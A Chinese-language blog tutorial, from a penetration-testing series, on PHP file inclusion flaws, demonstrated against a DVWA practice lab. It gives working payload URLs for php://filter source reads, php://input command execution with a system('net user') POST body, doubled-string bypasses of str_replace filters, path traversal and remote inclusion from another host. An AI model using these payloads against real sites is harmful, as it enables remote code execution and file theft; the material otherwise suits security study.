渗透之路 WEB漏洞【第六篇】文件包含漏洞

包含漏洞简介

包含操作,在大多数Web语言中都会提供的功能,但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状,很多初学者认为包含漏洞只出现PHP语言之中,殊不知在其他语言中可能出现包含漏洞。

PHP包含漏洞分类

PHP中的四个包含文件函数include(),include_once(),require()和require_once()。

下面我们一起来看PHP文件中的包含。
1、本地包含 LIF
2、远程包含 RLF 需要

allow_url_include=on
magic_quotes_gpc=off

本地包含示例

远程包含示例

包含日志文件

当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中

 

php包含读写文件

php读文件

http://192.168.1.103/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php

访问URL,得到经过base64加密后的字符串:
经解密还原得到如下:

php写文件

http://192.168.1.103/dvwa/vulnerabilities/fi/?page=php://input

并且提交post数据为:<?php system('net user');?>

str_replace函数绕过

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
例如page=hthttp://tp://192.168.1.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.1.103/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

1、本地文件包含
http://192.168.1.103/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini
2、绝对路径不受任何影响
http://192.168.1.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
3、远程文件包含
http://192.168.1.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt

 

PHP内置协议

PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。
具体协议请参照

http://www.php.net/manual/zh/wrappers.php

 

 

 

 

 

 

 

 

 

 

 

 

 

  

 

posted @ 2019-09-20 11:20  沐风先生  阅读(452)  评论(0编辑  收藏  举报